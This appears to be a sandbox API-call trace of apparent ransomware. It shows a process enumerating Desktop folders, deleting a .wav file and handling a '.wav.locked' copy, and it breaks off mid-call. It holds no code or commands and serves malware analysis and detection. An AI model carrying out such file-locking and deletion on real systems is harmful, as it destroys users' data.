[0125.096] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.096] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0125.096] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0125.097] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0125.097] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0125.097] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0125.097] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0125.097] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0125.097] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0125.097] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0125.097] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0125.097] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0125.097] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0125.097] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0125.098] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0125.098] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0125.098] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0125.098] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0125.098] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0125.098] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0125.098] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0125.099] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e")) returned 0x10 [0125.099] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e")) returned 0x10 [0125.099] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0125.099] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0125.099] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav")) returned 0x20 [0125.099] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.100] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.100] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0125.100] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.100] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav\\", lpFilePart=0x0) returned 0x50 [0125.100] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0125.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0125.101] CoTaskMemAlloc (cb=0x404) returned 0x8e83cf0 [0125.101] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8e83cf0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0125.101] CoTaskMemFree (pv=0x8e83cf0) [0125.102] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav")) returned 0x20 [0125.102] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.102] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0125.103] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav"), fInfoLevelId=0x0, lpFileInformation=0x69e6f14 | out: lpFileInformation=0x69e6f14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16e06090, ftCreationTime.dwHighDateTime=0x1d4a466, ftLastAccessTime.dwLowDateTime=0x8046470, ftLastAccessTime.dwHighDateTime=0x1d4add2, ftLastWriteTime.dwLowDateTime=0x8046470, ftLastWriteTime.dwHighDateTime=0x1d4add2, nFileSizeHigh=0x0, nFileSizeLow=0xaa63)) returned 1 [0125.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0125.103] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav")) returned 1 [0125.105] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.105] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.106] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.106] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.106] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.107] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav.locked")) returned 0x20 [0125.108] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav.locked")) returned 0x20 [0125.108] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked", lpFilePart=0x0) returned 0x56 [0125.108] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked", lpFilePart=0x0) returned 0x56 [0125.108] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.108] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.108] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.108] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.109] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.109] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.111] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.111] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.111] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.111] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.111] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.113] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.113] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="\x5b4\x688\xfa6a\x62bc\x297c\x73ad\xf6b0\x99a\x48") returned 0x0 [0125.114] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.114] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.114] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.116] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.116] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.116] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.116] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.116] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.118] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.118] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.118] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.118] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.118] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.120] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0125.123] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x69fa88c | out: 